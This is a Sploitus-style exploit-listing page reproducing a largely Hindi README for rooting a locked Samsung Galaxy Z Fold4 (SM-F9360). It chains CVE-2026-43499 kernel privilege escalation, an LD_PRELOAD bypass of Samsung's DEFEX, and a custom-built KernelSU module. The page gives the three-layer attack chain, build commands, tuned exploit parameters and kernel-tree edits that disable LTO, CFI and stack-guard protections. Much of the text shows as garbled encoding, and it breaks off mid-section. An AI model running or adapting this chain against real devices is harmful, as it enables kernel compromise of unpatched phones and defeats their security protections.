Sploitus

Exploit for F9360-CVE43499

kitploit ┬╖ 2026-08-19

Exploit Code

MARKDOWN352 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-E-R-BUTCH-F9360-CVE43499
# SM-F9360 (Galaxy Z Fold4 / q4q) рдмрд┐рдирд╛ Bootloader рдЕрдирд▓реЙрдХ рдХрд┐рдП KernelSU Root

> **CVE-2026-43499 рдЕрд╕реНрдерд╛рдпреА root тЖТ LD_PRELOAD рдЪреИрдирд▓ рд╕реЗ DEFEX рдмрд╛рдпрдкрд╛рд╕ тЖТ рдмрд┐рдирд╛ LTO рд╡рд╛рд▓рд╛ clang-12 kernelsu.ko тЖТ su + KernelSU Manager рдкреВрд░реНрдг рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛**
> 
> рд╕реНрдерд┐рддрд┐: тЬЕ **2026-08-12 рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рд╕рддреНрдпрд╛рдкрд┐рдд** (рдлрд░реНрдорд╡реЗрдпрд░ `F9360ZCSAIZF1`, рдХрд░реНрдиреЗрд▓ `5.10.236-android12-9-2755199-abF9360ZCSAIZF1`)
> 
> рдпрд╣ рдкреНрд░реЛрдЬреЗрдХреНрдЯ **рд▓реЙрдХ рдХрд┐рдП рдЧрдП Bootloader** рд╡рд╛рд▓реЗ Samsung рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ KernelSU root рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдкреВрд░реА, рджреЛрд╣рд░рд╛рдиреЗ рдпреЛрдЧреНрдп рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд╛ рджрд╕реНрддрд╛рд╡реЗрдЬ рд╣реИ: рди рддреЛ BL рдЕрдирд▓реЙрдХ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛, рди boot.img рдлреНрд▓реИрд╢ рдХрд░рдиреЗ рдХреА, рди Odin рдХреАред

* * *

**TL;DR (English):** рдпрд╣ рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рд▓реЙрдХ рдХрд┐рдП рдЧрдП рдмреВрдЯрд▓реЛрдбрд░ рд╡рд╛рд▓реЗ Samsung Galaxy Z Fold4 (SM-F9360, SM8450, рдХрд░реНрдиреЗрд▓ 5.10.236, рдлрд░реНрдорд╡реЗрдпрд░ F9360ZCSAIZF1) рдХреЗ рд▓рд┐рдП рдкреВрд░реНрдг рд░реВрдк рд╕реЗ рдбрд┐рд╡рд╛рдЗрд╕-рд╕рддреНрдпрд╛рдкрд┐рдд jailbreak рдорд╛рд░реНрдЧ рдХрд╛ рджрд╕реНрддрд╛рд╡реЗрдЬ рд╣реИ: рдПрдХ CVE-2026-43499 (rtmutex UAF, рдЬреБрд▓рд╛рдИ-2026 рдлрд░реНрдорд╡реЗрдпрд░ рдореЗрдВ рдареАрдХ рдХрд┐рдпрд╛ рдЧрдпрд╛) exploit рд╢реНрд░реГрдВрдЦрд▓рд╛ рдЕрд╕реНрдерд╛рдпреА рдХрд░реНрдиреЗрд▓-рдбреЛрдореЗрди root рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИ; рдПрдХ рдХрд╕реНрдЯрдо LD_PRELOAD constructor `.so` Samsung рдХреЗ DEFEX execve рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯрд░ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдХреЗ рдПрдХ KernelSU LKM рдХреЛ `init_module()` рдХрд░рддрд╛ рд╣реИ рдЬреЛ **рдбрд┐рд╡рд╛рдЗрд╕ рдХреЗ рд╕рдЯреАрдХ рдЯреВрд▓рдЪреЗрди (AOSP clang 12.0.5 r416183b) рд╕реЗ рдФрд░ LTO рдмрдВрдж рдХрд░рдХреЗ** рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ тАФ рдпреЗ рджреЛ рдХрд╛рд░рдХ рдореЙрдбреНрдпреВрд▓ рдХреЛ рд▓реЛрдб рд╣реЛрдиреЗ рдпреЛрдЧреНрдп рдФрд░ рдЗрд╕ CFI/LTO-рд╣рд╛рд░реНрдбрдиреНрдб рдХрд░реНрдиреЗрд▓ рдкрд░ рдЗрд╕рдХреЗ init рдХреЛ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдмрдирд╛рддреЗ рд╣реИрдВред рдкрд░рд┐рдгрд╛рдо: `su` рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ (`uid=0, context=u:r:ksu:s0`) рдФрд░ KernelSU Manager v3.2.5 рдХрд░реНрдиреЗрд▓ рдХреЛ рдкрд╣рдЪрд╛рдирддрд╛ рд╣реИред Root рдХреЗрд╡рд▓ рдореЗрдореЛрд░реА рдореЗрдВ рд╣реИ: рдкреНрд░рддреНрдпреЗрдХ рд░реАрдмреВрдЯ рдкрд░ exploit рдХреЛ рджреЛрдмрд╛рд░рд╛ рдЪрд▓рд╛рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ (~3 рдорд┐рдирдЯ, рд╕реНрдХреНрд░рд┐рдкреНрдЯреЗрдб)ред рд╕рднреА рдЧрдбреНрдвреЗ рдФрд░ рдореГрдд-рдЕрдВрдд (fake exports, CRC patching, ksud late-load, LTO function-sections рд▓реЗрдЖрдЙрдЯ) рдиреАрдЪреЗ рдкреНрд░рд▓реЗрдЦрд┐рдд рд╣реИрдВред

* * *

## рд╡рд┐рд╖рдп-рд╕реВрдЪреА

  * 1\. рдкрд░рд┐рдгрд╛рдо рдФрд░ рдореВрд▓ рд╕реАрдорд╛рдПрдБ
  * 2\. рдкреГрд╖реНрдарднреВрдорд┐: рдХрдард┐рди рдХреНрдпреЛрдВ, рд╕рдВрднрд╡ рдХреНрдпреЛрдВ
  * 3\. рд╣рдорд▓рд╛ рд╢реНрд░реГрдВрдЦрд▓рд╛ рдЕрд╡рд▓реЛрдХрди (3 рдкрд░рддреЗрдВ)
  * 4\. рд╡рд╛рддрд╛рд╡рд░рдг рдЖрд╡рд╢реНрдпрдХрддрд╛рдПрдБ
  * 5\. Step 1 тАФ exploit рдмрдирд╛рдирд╛ (рдЕрд╕реНрдерд╛рдпреА root)
  * 6\. Step 2 тАФ kernelsu.ko рдмрдирд╛рдирд╛ (рдмрд┐рдирд╛ LTO clang-12 рдиреБрд╕реНрдЦрд╛)
  * 7\. Step 3 тАФ ksu-load.so рдмрдирд╛рдирд╛ (DEFEX рдмрд╛рдпрдкрд╛рд╕ рд▓реЛрдбрд░)
  * 8\. Step 4 тАФ рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рдирд┐рд╖реНрдкрд╛рджрди рдФрд░ рд╕рддреНрдпрд╛рдкрди
  * 9\. рд░реАрдмреВрдЯ рдХреЗ рдмрд╛рдж рдкреБрдирд░реНрд╕реНрдерд╛рдкрдирд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛
  * 10\. рдкреНрд░рдореБрдЦ рдЦреЛрдЬреЗрдВ рдФрд░ рдЧрдбреНрдвреЛрдВ рдХреА рд╕реВрдЪреА
  * 11\. рдлрд░реНрдорд╡реЗрдпрд░/рдХрд░реНрдиреЗрд▓ рд╕рдВрдЧрддрддрд╛
  * 12\. рдзрдиреНрдпрд╡рд╛рдж рдФрд░ рдЕрдкрд╕реНрдЯреНрд░реАрдо рдкреНрд░реЛрдЬреЗрдХреНрдЯ
  * 13\. рдЕрд╕реНрд╡реАрдХрд░рдг



* * *

## 1\. рдкрд░рд┐рдгрд╛рдо рдФрд░ рдореВрд▓ рд╕реАрдорд╛рдПрдБ

**рдореВрд▓ рд╕реАрдорд╛: BL рд▓реЙрдХ тЖТ root рдХреЗрд╡рд▓ рдореЗрдореЛрд░реА рдореЗрдВ рд╣реИред** рдкреНрд░рддреНрдпреЗрдХ рд░реАрдмреВрдЯ рдХреЗ рдмрд╛рдж exploit рдХреЛ рдлрд┐рд░ рд╕реЗ рдЪрд▓рд╛рдирд╛ рдФрд░ рдореЙрдбреНрдпреВрд▓ рдХреЛ рдкреБрдирдГ рд▓реЛрдб рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ (рдкреВрд░реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд▓рдЧрднрдЧ 3 рдорд┐рдирдЯ, рд╕реНрдХреНрд░рд┐рдкреНрдЯреЗрдб)ред `ksud` рдпреВрдЬрд╝рд░рд╕реНрдкреЗрд╕ рдбреЗрдореЙрди рддреИрдирд╛рдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ (DEFEX execve рдХреЛ рд░реЛрдХрддрд╛ рд╣реИ, ┬з10-4 рджреЗрдЦреЗрдВ), рд▓реЗрдХрд┐рди `su` / supercall / Manager рд╕рднреА рдХреЛ рдХрд░реНрдиреЗрд▓ sucompat рд╕реАрдзреЗ рд╕рдВрднрд╛рд▓рддрд╛ рд╣реИ, ksud рдкрд░ рдирд┐рд░реНрднрд░ рдирд╣реАрдВ рд╣реИред

**рдЪреЗрддрд╛рд╡рдиреА:`rmmod kernelsu` рдбрд┐рд╡рд╛рдЗрд╕ рдХреЛ рддреБрд░рдВрдд panic рдХрд░рд╛рдХрд░ рд░реАрдмреВрдЯ рдХрд░ рджреЗрдЧрд╛ (RKP-рд╕рдВрд░рдХреНрд╖рд┐рдд рдореЗрдореЛрд░реА рдкрд░ syscall-table рдкреБрдирд░реНрд╕реНрдерд╛рдкрдирд╛ рдкрде) тАФ рдЗрд╕реЗ рдХрднреА рдЕрдирд▓реЛрдб рди рдХрд░реЗрдВред**

## 2\. рдкреГрд╖реНрдарднреВрдорд┐: рдХрдард┐рди рдХреНрдпреЛрдВ, рд╕рдВрднрд╡ рдХреНрдпреЛрдВ

### рдХрдард┐рди рдХреНрдпреЛрдВ (Samsung рдХреА рдмрд╣реБрд╕реНрддрд░реАрдп рд╕реБрд░рдХреНрд╖рд╛)

  * **BL рд▓реЙрдХ** : OEM рд▓реЙрдХ рдЦреЛрд▓рд╛ рдирд╣реАрдВ рдЬрд╛ рд╕рдХрддрд╛, `fastboot oem unlock` рдореМрдЬреВрдж рдирд╣реАрдВ рд╣реИ; рдХрд┐рд╕реА рднреА рд╕реНрдерд╛рдпреА root (magisk/kernel patch) рдХреЗ рд▓рд┐рдП boot.img рдлреНрд▓реИрд╢ рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ, рдФрд░ locked BL рдХрд┐рд╕реА рднреА рд╕реЗрд▓реНрдл-рд╕рд╛рдЗрдиреНрдб рдЗрдореЗрдЬ рдХреЛ рдЕрд╕реНрд╡реАрдХрд╛рд░ рдХрд░ рджреЗрддрд╛ рд╣реИред
  * **KDP / RKP / DEFEX** : рдХрд░реНрдиреЗрд▓ рдбреЗрдЯрд╛ рдкреНрд░реЛрдЯреЗрдХреНрд╢рди (rodata рдкрд░ рднреМрддрд┐рдХ рд▓реЗрдЦрди KDP monitor рдХрд╛ рд╣рд╛рд░реНрдб рд░реАрдмреВрдЯ рдЯреНрд░рд┐рдЧрд░ рдХрд░рддрд╛ рд╣реИ), RKP рд╣рд╛рдЗрдкрд░рд╡рд╛рдЗрдЬрд╝рд░ syscall table рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХрд░рддрд╛ рд╣реИ, DEFEX root рдбреЛрдореЗрди рдореЗрдВ рдирдП ELF рдХрд╛ рдирд┐рд╖реНрдкрд╛рджрди рд░реЛрдХрддрд╛ рд╣реИред
  * **CFI + LTO рдХрд░реНрдиреЗрд▓** : `CONFIG_CFI_CLANG=y` \+ Full LTOред `mod->init` рдХрд╛ рдПрдХрдорд╛рддреНрд░ рд╕реНрд░реЛрдд CFI jump-table рд╕реНрд▓реЙрдЯ `__cfi_jt_init_module` рд╣реИ; рдЕрдкреНрд░рддреНрдпрдХреНрд╖ рдХреЙрд▓ рдХреЛ `.cfi_jt` рдПрдВрдЯреНрд░реА рд╕реЗ рд╣реЛрдХрд░ рдЧреБрдЬрд░рдирд╛ рдкрдбрд╝рддрд╛ рд╣реИ, рдЕрдиреНрдпрдерд╛ CFI рдЬрд╛рдБрдЪ рд╕реАрдзреЗ panic рдХрд░рд╛рддреА рд╣реИред
  * **TRIM_UNUSED_KSYMS** : KSU рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ ~40 рд╕рд┐рдВрдмрд▓ `__ksymtab` рдПрдХреНрд╕рдкреЛрд░реНрдЯ рдЯреЗрдмрд▓ рд╕реЗ рд╣рдЯрд╛ рджрд┐рдП рдЧрдП рд╣реИрдВ, рд╕рд╛рдорд╛рдиреНрдп `insmod` рдЙрдиреНрд╣реЗрдВ рд╣рд▓ рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛ (`Unknown symbol`)ред
  * **MODULE_FORCE_LOAD=n + modversions** : vermagic рдХрд╛ рд╡рд░реНрдг-рджрд░-рд╡рд░реНрдг рд╕рдЯреАрдХ рдорд┐рд▓рд╛рди рдЖрд╡рд╢реНрдпрдХ рд╣реИ; `IGNORE_MODVERSIONS`/`IGNORE_VERMAGIC` рдлреНрд▓реИрдЧ рд╕рднреА `try_to_force_load()` рдХреА рдореГрдд-рдЕрдВрдд рдУрд░ рд▓реЗ рдЬрд╛рддреЗ рд╣реИрдВред



### рд╕рдВрднрд╡ рдХреНрдпреЛрдВ

  1. **CVE-2026-43499** (rtmutex proxy-lock рд░реЛрд▓рдмреИрдХ UAF, рдореБрдЦреНрдпрдзрд╛рд░рд╛ рдЕрдкрд╕реНрдЯреНрд░реАрдо рдореЗрдВ 2026-07 рдореЗрдВ рдареАрдХ рдХрд┐рдпрд╛ рдЧрдпрд╛) **2026-06 рдФрд░ рдЙрд╕рд╕реЗ рдкрд╣рд▓реЗ рдХреЗ рдлрд░реНрдорд╡реЗрдпрд░** рдкрд░ рд╕реНрдерд┐рд░ рд░реВрдк рд╕реЗ рдХрд░реНрдиреЗрд▓ рдбреЛрдореЗрди рддрдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛ рд╕рдХрддрд╛ рд╣реИ тАФ рд╕рдореБрджрд╛рдп рдХреЗ рдкрд╛рд╕ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рд╕рдорд╛рди SoC (SM8450) + рд╕рдорд╛рди рдХрд░реНрдиреЗрд▓ рд╢рд╛рдЦрд╛ (5.10) рдХрд╛ **рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдбрд┐рд╡рд╛рдЗрд╕-рд╕рддреНрдпрд╛рдкрд┐рдд** рдкреЛрд░реНрдЯ рдореМрдЬреВрдж рд╣реИ: `sarabpal-dev/IonStack-S22U` (b0q / S22U, exp32 рд░реВрдЯ)ред
  2. **DEFEX рдХреЗрд╡рд▓ execve рд░реЛрдХрддрд╛ рд╣реИ, рдбрд╛рдпрдирд╛рдорд┐рдХ рд▓реЛрдбрд┐рдВрдЧ рдирд╣реАрдВ** : `LD_PRELOAD` constructor `.so` root рдбреЛрдореЗрди рдореЗрдВ рдордирдорд╛рдирд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХрд╛ рдПрдХрдорд╛рддреНрд░ рдЫреВрдЯ рд╡рд╛рд▓рд╛ рдЪреИрдирд▓ рд╣реИред
  3. **KernelSU v3.2+ рдХрд╛ jailbreak рдореЛрдб** (`ksud late-load`) рд▓реЙрдХ рдХрд┐рдП рдЧрдП BL рд╡рд╛рд▓реЗ рдбрд┐рд╡рд╛рдЗрд╕реЛрдВ рдХреЗ рд▓рд┐рдП рд╣реА рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ: boot рдлреНрд▓реИрд╢ рдХрд┐рдП рдмрд┐рдирд╛ рд╕реАрдзреЗ рд░рдирдЯрд╛рдЗрдо рдкрд░ `init_module`ред
  4. **рдЯреВрд▓рдЪреЗрди рдорд┐рд▓рд╛рди рд╕рд┐рджреНрдзрд╛рдВрдд** : CFI type-id рдПрдХ LLVM рдЖрдВрддрд░рд┐рдХ hash рд╣реИ, рдореЙрдбреНрдпреВрд▓ рдХреЛ **рдбрд┐рд╡рд╛рдЗрд╕ рдХрд░реНрдиреЗрд▓ рдХреЗ рд╕рдорд╛рди рдХрдВрдкрд╛рдЗрд▓рд░** рд╕реЗ рдмрдирд╛рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ (q4q рдбрд┐рд╡рд╛рдЗрд╕ = AOSP clang 12.0.5 r416183b)ред
  5. **LTO рд╡рд┐рднрд╛рдЬрд┐рдд рд▓реЗрдЖрдЙрдЯ рдореЙрдбреНрдпреВрд▓ рдХреНрд░реИрд╢ рдХрд╛ рдЕрдВрддрд┐рдо рдореВрд▓ рдХрд╛рд░рдг рд╣реИ** : function-sections рджреНрд╡рд╛рд░рд╛ рдЙрддреНрдкрдиреНрди 447 рдЫреЛрдЯреЗ ALLOC рд╕реЗрдЧрдореЗрдВрдЯ Samsung рдХрд░реНрдиреЗрд▓ рд▓реЛрдбрд░ рдкрд░ рдирд┐рд╢реНрдЪрд┐рдд рд░реВрдк рд╕реЗ рдХреНрд░реИрд╢ рдХрд░рддреЗ рд╣реИрдВ; **LTO рдмрдВрдж рдХрд░рдХреЗ рдкреБрдирдГ рд╕рдВрдХрд▓рди тЖТ рдкрд╛рд░рдВрдкрд░рд┐рдХ 22-рд╕реЗрдЧрдореЗрдВрдЯ рд▓реЗрдЖрдЙрдЯ тЖТ рдкрд╣рд▓реА рдмрд╛рд░ рдореЗрдВ рд╕рдлрд▓** (рд╡рд┐рд╡рд░рдг ┬з10-1 рджреЗрдЦреЗрдВ)ред



## 3\. рд╣рдорд▓рд╛ рд╢реНрд░реГрдВрдЦрд▓рд╛ рдЕрд╡рд▓реЛрдХрди (3 рдкрд░рддреЗрдВ)

root@kitploit:~
    
    
    тФМтФА Layer 1: CVE-2026-43499 ф╕┤цЧ╢ root
    тФВ   ionstack-q4q exploitя╝ИKASLR ц│Дц╝П тЖТ mm reclaim тЖТ exp32 32-bit цаИ stamp
    тФВ   тЖТ CFI r/w тЖТ pipe physrw тЖТ UMH root daemonя╝Й
    тФВ   тЖТ /data/local/tmp/cve-2026-43499-root -c '<cmd>' = kernel:s0 хЯЯ root хС╜ф╗дщАЪщБУ
    тФВ
    тФЬтФА Layer 2: LD_PRELOAD .so хКаш╜╜щАЪщБУя╝ИDEFEX ч╗Хш┐Зя╝Й
    тФВ   DEFEX цЛжцИк kernel хЯЯ execve ф╗╗ф╜ХцЦ░ ELFя╝ИKilledя╝Йя╝ЫLD_PRELOAD чЪД constructor
    тФВ   цЙзшбМш▒БхЕН тЖТ ksu-load.so хЬи /system/bin/true ш┐ЫчиЛхЖЕя╝Ъ
    тФВ   шп╗ ko тЖТ /proc/kallsyms цЙЛх╖ещЗНхоЪф╜Н 201 ф╕к UND чмжхП╖я╝ИSHN_ABS + st_value=ч╗Эхп╣хЬ░хЭАя╝Й
    тФВ   тЖТ vermagic patchя╝ИцЧзчЙИщЬАшжБя╝ЙтЖТ init_module() тЖТ цИРхКЯ
    тФВ
    тФФтФА Layer 3: KernelSU хЖЕца╕цибхЭЧя╝ИцЧа LTO clang-12 чЙИя╝Й
        init хоМцХ┤цЙзшбМ 15 mark хЕич╗┐ тЖТ sucompat (allow_shell=1) + supercall хПпчФи
    

## 4\. рд╡рд╛рддрд╛рд╡рд░рдг рдЖрд╡рд╢реНрдпрдХрддрд╛рдПрдБ

### рдбрд┐рд╡рд╛рдЗрд╕

> рдЕрд▓рдЧ рдлрд░реНрдорд╡реЗрдпрд░ = рдЕрд▓рдЧ kallsyms / рд▓реЗрдЖрдЙрдЯ / vermagic, target.h рдХреЛ рдкреБрдирдГ рдЕрдиреБрдХреВрд▓рд┐рдд рдХрд░рдиреЗ рдФрд░ рдкреБрдирдГ рд╕рдВрдХрд▓рди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред ┬з11 рджреЗрдЦреЗрдВред

### рдмрд┐рд▓реНрдб рдорд╢реАрди

  * macOS рд╣реЛрд╕реНрдЯ + **colima/docker, Ubuntu 24.04 aarch64 рдХрдВрдЯреЗрдирд░** (x86_64 clang рдмрд╛рдЗрдирд░реА arm64 рдХрдВрдЯреЗрдирд░ рдореЗрдВ рдирд╣реАрдВ рдЪрд▓рддреА; macOS рд╣реЛрд╕реНрдЯ рдкрд░ рдмрд┐рд▓реНрдб рдХрд░рдирд╛ рдЯреВрд▓-рдирд░рдХ рд╣реИ, рдЗрд╕рд▓рд┐рдП рд╕рдм рдХреБрдЫ рдХрдВрдЯреЗрдирд░реАрдХреГрдд)
  * рдХрдВрдЯреЗрдирд░ рдореЗрдВ: `clang-14/15` \+ **focal рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рд╕реЗ`clang-12` / `lld-12`** (`/usr/bin/clang-12`, `/usr/bin/ld.lld-12`)
  * рдХрдВрдЯреЗрдирд░ рдореЗрдВ gcc рдирд╣реАрдВ рд╣реИ тЖТ make рдХреЛ `CC=clang HOSTCC=clang LD=ld.lld-12` рдЪрд▓рд╛рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ
  * NDK r29 (exploit рдФрд░ ksu-load.so рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП)
  * Samsung рдХрд░реНрдиреЗрд▓ рд╕реНрд░реЛрдд: GitHub рдорд┐рд░рд░ `FryUpDoe/android_kernel_samsung_q4q` (opensource.samsung.com рдкрд░ Cloudflare рдПрдВрдЯреА-рд╕реНрдХреНрд░реЗрдкрд┐рдВрдЧ рд╣реИ)



## 5\. Step 1 тАФ exploit рдмрдирд╛рдирд╛ (рдЕрд╕реНрдерд╛рдпреА root)

exploit `sarabpal-dev/IonStack-S22U` (SM8450 5.10 рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдбрд┐рд╡рд╛рдЗрд╕ GREEN рдмреЗрд╕, exp32 рд░реВрдЯ) рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИред q4q рдЕрдиреБрдХреВрд▓рди = рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдореЗрдВ `patches/ionstack-q4q-adapt.patch` (249 рдкрдВрдХреНрддрд┐рдпрд╛рдБ, target.h рдкреИрд░рд╛рдореАрдЯрд░, kernelsnitch, root.c рдЖрджрд┐ рдХреЛ рдХрд╡рд░ рдХрд░рддрд╛ рд╣реИ)ред

root@kitploit:~
    
    
    export ANDROID_NDK_HOME=$HOME/Projects/f9360-root/tools/android-ndk-r29
    cd work/ionstack-q4q          # IonStack-S22U clone + цЬм patch
    make PROJECT=q4q-F9360ZCSAIZF1   # ц│ицДПхПШщЗПхРНцШп PROJECT= ф╕НцШп TARGET=
    

q4q рдХреЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдкреИрд░рд╛рдореАрдЯрд░ (рдЯреНрдпреВрди рдХрд┐рдП рдЧрдП рд╣реИрдВ, рдмрджрд▓реЗрдВ рдирд╣реАрдВ):

3 рдмрд╛рдЗрдирд░реА рдЙрддреНрдкрдиреНрди рд╣реЛрддреЗ рд╣реИрдВ (`build/q4q-F9360ZCSAIZF1/`): preload `.so`, app `.so`, root helper PIEред **рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдкрд░реАрдХреНрд╖рдг рдХрдо рд▓реЛрдб рдкрд░ рдЪрд▓рдирд╛ рдЪрд╛рд╣рд┐рдП** (`loadavg < 2.5`, рдмреВрдЯ рдХреЗ рдмрд╛рдж 1тАУ2 рдорд┐рдирдЯ рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░реЗрдВ), рдЙрдЪреНрдЪ рд▓реЛрдб рдкрд░ exploit рдХрд╛ fork рд╕реНрдЯреЙрд░реНрдо (~544 рдереНрд░реЗрдб + 1024 futex park рдереНрд░реЗрдб) LMKD рджреНрд╡рд╛рд░рд╛ рдЪреБрдкрдЪрд╛рдк SIGKILL рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред

## 6\. Step 2 тАФ kernelsu.ko рдмрдирд╛рдирд╛ (рдмрд┐рдирд╛ LTO clang-12 рдиреБрд╕реНрдЦрд╛)

рдпрд╣ рдЗрд╕ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдХрд╛ рд╕рдмрд╕реЗ рдореБрдЦреНрдп рджреЛрд╣рд░рд╛рдиреЗ рдпреЛрдЧреНрдп рдиреБрд╕реНрдЦрд╛ рд╣реИред **рдкрд╣рд▓реЗ рд╕рд┐рджреНрдзрд╛рдВрдд, рдлрд┐рд░ рдХрдорд╛рдВрдбред**

### рдХреНрдпреЛрдВ рдЖрд╡рд╢реНрдпрдХ: рддреАрди рдЕрдЯрд▓ рдирд┐рдпрдо

  1. **рдХрдВрдкрд╛рдЗрд▓рд░ рдбрд┐рд╡рд╛рдЗрд╕ рдХреЗ рд╕рдорд╛рди рдкреАрдврд╝реА рдХрд╛ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП (clang 12.0.5)** : CFI type-id рдПрдХ LLVM рдЖрдВрддрд░рд┐рдХ hash рд╣реИред clang-15/18 рд╕реЗ рдмрдирд╛ ko рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ `__cfi_check_fail` тЖТ рд╕реАрдзреЗ panic (рдХреЛрдИ CFI_PERMISSIVE рдирд╣реАрдВ)ред Ubuntu clang-12 рдФрд░ AOSP clang-12 рдХрд╛ рд╡реНрдпрд╡рд╣рд╛рд░ рднреА рдереЛрдбрд╝рд╛ рднрд┐рдиреНрди рд╣реИ, рд▓реЗрдХрд┐рди CFI рдмрдВрдж рд╣реЛрдиреЗ рдкрд░ (рдиреАрдЪреЗ рджреЗрдЦреЗрдВ) рдЕрдВрддрд░ рдШрд╛рддрдХ рдирд╣реАрдВ рд░рд╣рддрд╛ред
  2. **LTO рдмрдВрдж рдХрд░рдирд╛ рдЕрдирд┐рд╡рд╛рд░реНрдп (рдЕрдВрддрд┐рдо рдореВрд▓ рдХрд╛рд░рдг)** : Samsung рдЯреНрд░реА рдореЗрдВ рдбрд┐рдлрд╝реЙрд▓реНрдЯ `CONFIG_LTO_CLANG_THIN=y` тЖТ `-ffunction-sections` рд╡рд┐рднрд╛рдЬрд┐рдд рд▓реЗрдЖрдЙрдЯ (447 рдЫреЛрдЯреЗ ALLOC рд╕реЗрдЧрдореЗрдВрдЯ, `.text=0`) тЖТ **рдХреЛрдИ рднреА рд╕рдВрд╕реНрдХрд░рдг (stub рд╕рд╣рд┐рдд) рд▓реЛрдб рд╣реЛрддреЗ рд╣реА рдХрд░реНрдиреЗрд▓ panic** ред рдЖрдзрд┐рдХрд╛рд░рд┐рдХ ko рдкрд╛рд░рдВрдкрд░рд┐рдХ рд▓реЗрдЖрдЙрдЯ (22 рд╕реЗрдЧрдореЗрдВрдЯ) рдореЗрдВ рд╣реИ тЖТ рд╣рдореЗрд╢рд╛ рд▓реЛрдб рд╣реЛрддрд╛ рд░рд╣рд╛ред LTO рдмрдВрдж рдХрд░рдХреЗ рдкреБрдирдГ рд╕рдВрдХрд▓рди тЖТ рдкрд╣рд▓реА рдмрд╛рд░ рдореЗрдВ рд╕рдлрд▓ред
  3. **CFI рдмрдВрдж рдХрд░рдирд╛ рдЕрдирд┐рд╡рд╛рд░реНрдп** : рдореЙрдбреНрдпреВрд▓ рдореЗрдВ `__cfi_check` рд╕рд┐рдВрдмрд▓ рдирд╣реАрдВ рд╣реИ тЖТ `mod->cfi_check=NULL` тЖТ `cfi_init` рдХрд╛ shadow рдкрдВрдЬреАрдХрд░рдг рдЫреВрдЯ рдЬрд╛рддрд╛ рд╣реИ тЖТ рдХреЙрд▓ CFI рдЬрд╛рдБрдЪ рд╕реЗ рдирд╣реАрдВ рдЧреБрдЬрд░рддреАред **рд▓реЗрдХрд┐рди рдзреНрдпрд╛рди рджреЗрдВ** : `mod->init` рдХрд╛ рдПрдХрдорд╛рддреНрд░ рд╕реНрд░реЛрдд CFI jt рд╕реНрд▓реЙрдЯ `__cfi_jt_init_module` рд╣реИ (`kernel/module.c cfi_init()`) тАФ **рдЧреИрд░-CFI рд╕рдВрдХрд▓рди рдФрд░ рдмрд┐рдирд╛ jt рд╕реНрд▓реЙрдЯ рд╡рд╛рд▓рд╛ ko "Live" рджрд┐рдЦреЗрдЧрд╛ рд▓реЗрдХрд┐рди init рдХрднреА рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдирд╣реАрдВ рд╣реЛрдЧрд╛** (рдлрд░реНрдЬреА рд╕рдлрд▓рддрд╛!)ред clang-12 рд╕реНрд╡рд╛рднрд╛рд╡рд┐рдХ рд░реВрдк рд╕реЗ  рд╕реНрд▓реЙрдЯ рдЙрддреНрдкрдиреНрди рдХрд░рддрд╛ рд╣реИ, рдореИрдиреБрдЕрд▓ objcopy рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВред



### Samsung рдЯреНрд░реА рдореЗрдВ рд╕рдВрд╢реЛрдзрди

root@kitploit:~
    
    
    # 1) чжБ per-task sysreg stack guardя╝ИUbuntu clang-12 ф╕НцФпцМБ -mstack-protector-guard=sysregя╝Й
    #    arch/arm64/Makefile: ifeq ($(CONFIG_STACKPROTECTOR_PER_TASK),y) тЖТ ifeq (n,y)
    #    цибхЭЧ stack protector хЫЮщААхЕих▒А __stack_chk_guardя╝Иkallsyms цЬЙхп╝хЗ║я╝МхоЙхЕия╝Й
    
